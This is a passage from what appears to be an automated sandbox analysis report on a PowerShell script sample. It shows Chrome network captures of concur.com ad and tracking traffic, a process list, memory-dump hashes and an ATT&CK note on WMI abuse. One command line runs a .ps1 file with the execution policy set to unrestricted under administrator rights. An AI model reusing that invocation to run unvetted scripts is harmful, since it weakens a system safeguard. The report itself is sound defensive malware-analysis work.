2024-10-03 08:41:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	50026	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:46 UTC	580	OUT	GET /utag/tiqapp/utag.v.js?a=concur/concur/202409261709&cb=1727944902648 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:46 UTC	607	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 2 Connection: close Last-Modified: Sat, 11 Mar 2023 06:57:46 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: 2XUX04X5QEw0.xFya64khU._sHTRl_Pz Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:37:53 GMT ETag: "7bc0ee636b3b83484fc3b9348863bd22" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 a6ec089aa02839578670b49d128782c2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: vHHRgfd_S8ANy5eaD0z0XsIejf48EfDzlh_FNyuKhD2qhbKUucN1Jw== Age: 247 Cache-Control: max-age=300
2024-10-03 08:41:46 UTC	2	IN	Data Raw: 2f 2f Data Ascii: //

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	50032	142.250.186.98	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:46 UTC	1489	OUT	GET /td/rul/1044530512?random=1727944905118&cv=11&fst=1727944905118&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config HTTP/1.1 Host: td.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
2024-10-03 08:41:46 UTC	646	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 03 Oct 2024 08:41:46 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-03 08:41:46 UTC	744	IN	Data Raw: 34 35 37 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 6f 72 69 67 69 6e 2d 74 72 69 61 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 41 76 68 35 4e 79 30 58 45 46 43 79 51 37 2b 6f 4e 69 65 58 73 6b 55 72 71 59 38 65 64 55 7a 4c 35 2f 58 72 77 4b 6c 47 6a 41 52 51 48 57 34 54 46 52 4b 2b 6a 56 64 35 48 6e 44 49 70 59 32 30 6e 35 4f 4c 48 66 67 55 34 6b 75 37 78 34 38 4e 33 75 68 47 2f 41 30 41 41 41 42 78 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 52 76 64 57 4a 73 5a 57 4e 73 61 57 4e 72 4c 6d 35 6c 64 44 6f 30 4e 44 4d 69 4c 43 4a 6d 5a 57 46 30 64 58 4a 6c 49 6a 6f 69 55 48 4a 70 64 6d 46 6a 65 56 4e 68 62 6d 52 69 62 33 68 42 5a 48 4e 42 55 45 6c 7a 49 69 77 69 5a 58 68 77 61 Data Ascii: 457<html><head><meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwa
2024-10-03 08:41:46 UTC	374	IN	Data Raw: 2e 6a 6f 69 6e 41 64 49 6e 74 65 72 65 73 74 47 72 6f 75 70 28 69 2e 69 6e 74 65 72 65 73 74 47 72 6f 75 70 41 74 74 72 69 62 75 74 65 73 2c 69 2e 65 78 70 69 72 61 74 69 6f 6e 54 69 6d 65 49 6e 53 65 63 6f 6e 64 73 29 3b 7d 65 6c 73 65 20 69 66 28 69 2e 61 63 74 69 6f 6e 3d 3d 31 29 7b 6e 61 76 69 67 61 74 6f 72 2e 6c 65 61 76 65 41 64 49 6e 74 65 72 65 73 74 47 72 6f 75 70 28 69 2e 69 6e 74 65 72 65 73 74 47 72 6f 75 70 41 74 74 72 69 62 75 74 65 73 29 3b 7d 7d 63 61 74 63 68 28 65 29 7b 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 28 60 68 74 74 70 73 3a 2f 2f 70 61 67 65 61 64 32 2e 67 6f 6f 67 6c 65 73 79 6e 64 69 63 61 74 69 6f 6e 2e 63 6f 6d 2f 70 61 67 65 61 64 2f 67 65 6e 5f 32 30 34 2f 3f 69 64 3d 74 75 72 74 6c 65 78 5f 6a 6f 69 Data Ascii: .joinAdInterestGroup(i.interestGroupAttributes,i.expirationTimeInSeconds);}else if(i.action==1){navigator.leaveAdInterestGroup(i.interestGroupAttributes);}}catch(e){navigator.sendBeacon(`https://pagead2.googlesyndication.com/pagead/gen_204/?id=turtlex_joi
2024-10-03 08:41:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	50025	185.89.210.212	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:46 UTC	612	OUT	GET /setuid?entity=158&code=Zv5YvgAAAEmPUQN- HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:46 UTC	1375	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Thu, 03 Oct 2024 08:41:46 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/bounce?%2Fsetuid%3Fentity%3D158%26code%3DZv5YvgAAAEmPUQN- AN-X-Request-Uuid: 12878db7-6d41-4919-97f5-3852e3d89d3d Set-Cookie: XANDR_PANID=_XwZiqA-XhRdbSA6zSAaAlj0YbUpgAUaZzfIkH4x2gSOOS3qhDotucI9VQDdLQxM7W1OI157w6FeAsiN60oYE5AsTuyxrxZ6mFZA-YCTNrs.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 01-Jan-2025 08:41:46 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 21-Sep-2034 08:41:46 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=7044996041827226272; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 01-Jan-2025 08:41:46 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.33; 8.46.123.33; 942.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Target ID:	0
Start time:	04:41:08
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\KpCJCaQswCshdLQFFKLtCbGdhL.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:41:08
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:41:19
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:41:19
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:41:20
Start date:	03/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.concur.com/
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	04:41:20
Start date:	03/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	04:41:20
Start date:	03/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2028,i,5747525152583014474,9378856125692830387,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	04:41:34
Start date:	03/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4976 --field-trial-handle=2028,i,5747525152583014474,9378856125692830387,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00007FFD9B8D2503 Relevance: .5, Instructions: 524COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984641203.00007FFD9B8D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38def861283f52dd1724b1575fff59f29c721bd4ab8f4f2492733af5df3456d9
Instruction ID: 0b70b49bcbe556a8902f1c002ae65f0eb6fd73e2b364c405e0735a97102ae9c6
Opcode Fuzzy Hash: 38def861283f52dd1724b1575fff59f29c721bd4ab8f4f2492733af5df3456d9
Instruction Fuzzy Hash: 13F10862B0F6CE5FE7A5DBA888655A57BE1EF99310B0903FFD45CC70E3D918A9058301

Function 00007FFD9B8D2691 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984641203.00007FFD9B8D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 965c295f5bb81bee8d392b0f61fdf0685f6d622312dd2af05705df951b40ad76
Instruction ID: 73434a5d51d2f12fa97b94ae31c64ec16ecbf17ba74e3da2800ab3953ad2566d
Opcode Fuzzy Hash: 965c295f5bb81bee8d392b0f61fdf0685f6d622312dd2af05705df951b40ad76
Instruction Fuzzy Hash: 8E91E222B0F68A4FEBB5DBE88474674BAD1EF99210B4903FEC05CCB1E3D918A8058701

Function 00007FFD9B8D139D Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984641203.00007FFD9B8D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36270fa233bfcd86e67ad5f7d1c2145813928c8216ecd077910fe771eeb2ec20
Instruction ID: 1a1299bff2a360389bdaa2aae62298829205f8fdf030a75637e9f24043a5af44
Opcode Fuzzy Hash: 36270fa233bfcd86e67ad5f7d1c2145813928c8216ecd077910fe771eeb2ec20
Instruction Fuzzy Hash: D4118262A0F6C60FDB6397B85C740A47FB1AF5755470E03EBD4A8CB0E3D908995AC362

Function 00007FFD9B803A05 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983130498.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7537df620ceaca31488396110b0132bbdf16822307a399e2d3d52e828cd47370
Instruction ID: 306ce6a7128867bc4a35984e4c39e4243170d5a66af5adf4e93120551ef32f69
Opcode Fuzzy Hash: 7537df620ceaca31488396110b0132bbdf16822307a399e2d3d52e828cd47370
Instruction Fuzzy Hash: 1D01A73020CB0C4FD748EF0CE051AA5B3E0FF89360F10056DE58AC36A1D632E881CB41

Non-executed Functions

Function 00007FFD9B80211D Relevance: .6, Instructions: 561COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983130498.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e33e34130b781aa6d587d7a1816cd0e5b97ff350f1dd85672e0fffdb8c4f45f9
Instruction ID: 3a5936447c687f235feea6e7578455b3f07bcf744f6f555ad0f9a8b47576213c
Opcode Fuzzy Hash: e33e34130b781aa6d587d7a1816cd0e5b97ff350f1dd85672e0fffdb8c4f45f9
Instruction Fuzzy Hash: 5AF18063B0E7D30FE7234BAC98761E57FA0EF576A570A00F7C0D58A0B3E959290A8751

Analysis Process: powershell.exePID: 7728, Parent PID: 7488COMMON

Executed Functions

Function 00007FFD9B7F8332 Relevance: .5, Instructions: 463COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1959557551.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b7f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cdfd62b9141da41e9636d91b4a1f1414a5ef2df1c03b204d01a25866c042a7d
Instruction ID: 2bfa8b3f65014ba4866bb68c18d52f78f0de36af2fc1d208c95718fd42791741
Opcode Fuzzy Hash: 1cdfd62b9141da41e9636d91b4a1f1414a5ef2df1c03b204d01a25866c042a7d
Instruction Fuzzy Hash: 15E18230A18B4D8FEBA8DF68C855BE97BD1FF54310F04426AE85EC72A5DB3499418B81

Function 00007FFD9B7F90C2 Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1959557551.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b7f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a33ccfa41502885485f79258843bb3df95405aa8d8e7aeb8e74190cda8ed6178
Instruction ID: cc45e29c676269ec8577b79567327cb1c96828c5006b0fc2d30b530e061ad76f
Opcode Fuzzy Hash: a33ccfa41502885485f79258843bb3df95405aa8d8e7aeb8e74190cda8ed6178
Instruction Fuzzy Hash: 20E1B430A09A4E4FEBA8DF28C8697F97BD1FF54310F04426AD84DC72A5CE7499418BC1

Function 00007FFD9B990001 Relevance: 6.1, Strings: 4, Instructions: 1063COMMON

Download Yara Rule

Strings

x6QV, xrefs: 00007FFD9B9906B4
6QV, xrefs: 00007FFD9B990748
6QV, xrefs: 00007FFD9B99079C
x6QV, xrefs: 00007FFD9B990840

Memory Dump Source

Source File: 00000002.00000002.1971476647.00007FFD9B990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b990000_powershell.jbxd

Similarity

API ID:
String ID: x6QV$x6QV$6QV$6QV
API String ID: 0-4021731808
Opcode ID: 0451143edde54d47ec6e634698f6991b15a5a21099ac81f5db2d9d4cc60a2a7f
Instruction ID: 41ccfee560e7f07d8ddc8c86da41b9af423efa0b05890c4588a078ef480a0f0f
Opcode Fuzzy Hash: 0451143edde54d47ec6e634698f6991b15a5a21099ac81f5db2d9d4cc60a2a7f
Instruction Fuzzy Hash: 8D720931B1DB894FDBA6DB2884656647BE1EFA6700F0901EFC098C71A3DA25ED45C782

Function 00007FFD9B9900DD Relevance: 5.8, Strings: 4, Instructions: 833COMMON

Download Yara Rule

Strings

x6QV, xrefs: 00007FFD9B9906B4
6QV, xrefs: 00007FFD9B990748
6QV, xrefs: 00007FFD9B99079C
x6QV, xrefs: 00007FFD9B990840

Memory Dump Source

Source File: 00000002.00000002.1971476647.00007FFD9B990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b990000_powershell.jbxd

Similarity

API ID:
String ID: x6QV$x6QV$6QV$6QV
API String ID: 0-4021731808
Opcode ID: 1633e123fa60ee0cda9a670d3d3dcb53a1287906806df8bc8c34dba41c496208
Instruction ID: 5e7f5f621b1aff68f927216331b2d6e3f8ed8fe105ddd85f52ceb3f3d532ee78
Opcode Fuzzy Hash: 1633e123fa60ee0cda9a670d3d3dcb53a1287906806df8bc8c34dba41c496208
Instruction Fuzzy Hash: 4242E431B1DB894FDBAADF288455A647BE1EFA5700F0501AEC099C72A2DE31FD45C782

Function 00007FFD9B996E29 Relevance: .7, Instructions: 681COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1971476647.00007FFD9B990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b015eb4cd30b468c110611bb658dffefad6aa9cccc298bff63bca9419bc6fc7
Instruction ID: ca9cb0c780bb9034d377291e7cdd97a9c86debf1d46179c694a922f3798ac795
Opcode Fuzzy Hash: 4b015eb4cd30b468c110611bb658dffefad6aa9cccc298bff63bca9419bc6fc7
Instruction Fuzzy Hash: 52122622B2FBCA1FE7A6976848755B47BD1EF56250B1A01FBD088CB1E3DE0DAD058341

Function 00007FFD9B7F8316 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1959557551.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b7f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc1cd07f77fe113e6793a5980c816027d503a5431ef23dc3fa4a1410c773145f
Instruction ID: 5454fa5ca0a951cd3bf77bb2c09cc4dd00c232e22289166b113d2e0f20d14ad2
Opcode Fuzzy Hash: fc1cd07f77fe113e6793a5980c816027d503a5431ef23dc3fa4a1410c773145f
Instruction Fuzzy Hash: F9F1B530A09B8D8FEBA8DF68C8557E97BD1FF54310F04426EE85DC72A5DB3499418B82

Function 00007FFD9B7F8CD6 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1959557551.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b7f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8554a12ae12fdeb473558b10f53babd85a0890095ec193eb0848e94b2794ce1e
Instruction ID: d9f8a041f85e3a6acf15e16ff7d73634e83cd84de1f4cda16b8ba50863c11f00
Opcode Fuzzy Hash: 8554a12ae12fdeb473558b10f53babd85a0890095ec193eb0848e94b2794ce1e
Instruction Fuzzy Hash: B8B1C630609B4D8FEBA8DF28C8557E93BD1FF55310F04426EE85DC72A1CA34A945CB82

Function 00007FFD9B99712A Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1971476647.00007FFD9B990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44ab13f45cbac1570032fb4f787596b7be85b2869cdfd376b97f90e587cb61e2
Instruction ID: 51d67ddd21ed5d2a8f6d092f236be55db7c59f333b9f62220da6f5821dc57923
Opcode Fuzzy Hash: 44ab13f45cbac1570032fb4f787596b7be85b2869cdfd376b97f90e587cb61e2
Instruction Fuzzy Hash: 4241D852F2FA8F1BFBF59AA804716B8A7C1EF95250B5A01BAE45DC71F3DF0CA9054201

Function 00007FFD9B6DED40 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1958220345.00007FFD9B6DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B6DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b6dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea413367b1beccdc0e7279604c568d55b4824374bffe73fd08aef9d0ae62aca8
Instruction ID: 6da080ca22f0e943d9fca9e143255c69f38b707b2f70a35b83cd3b35c5cb5528
Opcode Fuzzy Hash: ea413367b1beccdc0e7279604c568d55b4824374bffe73fd08aef9d0ae62aca8
Instruction Fuzzy Hash: E841197140EBC44FD7669B289C519523FF0EF57320B1606DFD0D8CB1A3DA29A845C792

Function 00007FFD9B7FB3C2 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1959557551.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b7f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b52ed70159a32b23448d06bf6bc6d99a1ebde420482ac018f9a6b52f9fa4eb73
Instruction ID: 72d4912c473d712201cd99b4b0270c996be4a954451f21d3443286c9aa835b39
Opcode Fuzzy Hash: b52ed70159a32b23448d06bf6bc6d99a1ebde420482ac018f9a6b52f9fa4eb73
Instruction Fuzzy Hash: 4E01043171DA084BEB4CEA5CE4A21B877C1EF95360B1001AED84AC7297DD22BC838782

Function 00007FFD9B7F4285 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1959557551.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b7f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34bf656564513abbe0418ca9948518aea21f2a14a46f4440b6d1e13de2fe8fd5
Instruction ID: 99fd6da0dd639285d9d4a04435e77241939bbc3fa6fac31ef7df0007b2fb7305
Opcode Fuzzy Hash: 34bf656564513abbe0418ca9948518aea21f2a14a46f4440b6d1e13de2fe8fd5
Instruction Fuzzy Hash: 4201A73020CB0C4FD748EF4CE451AA5B7E0FB85320F10056DE58AC36A1D632E881CB45

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
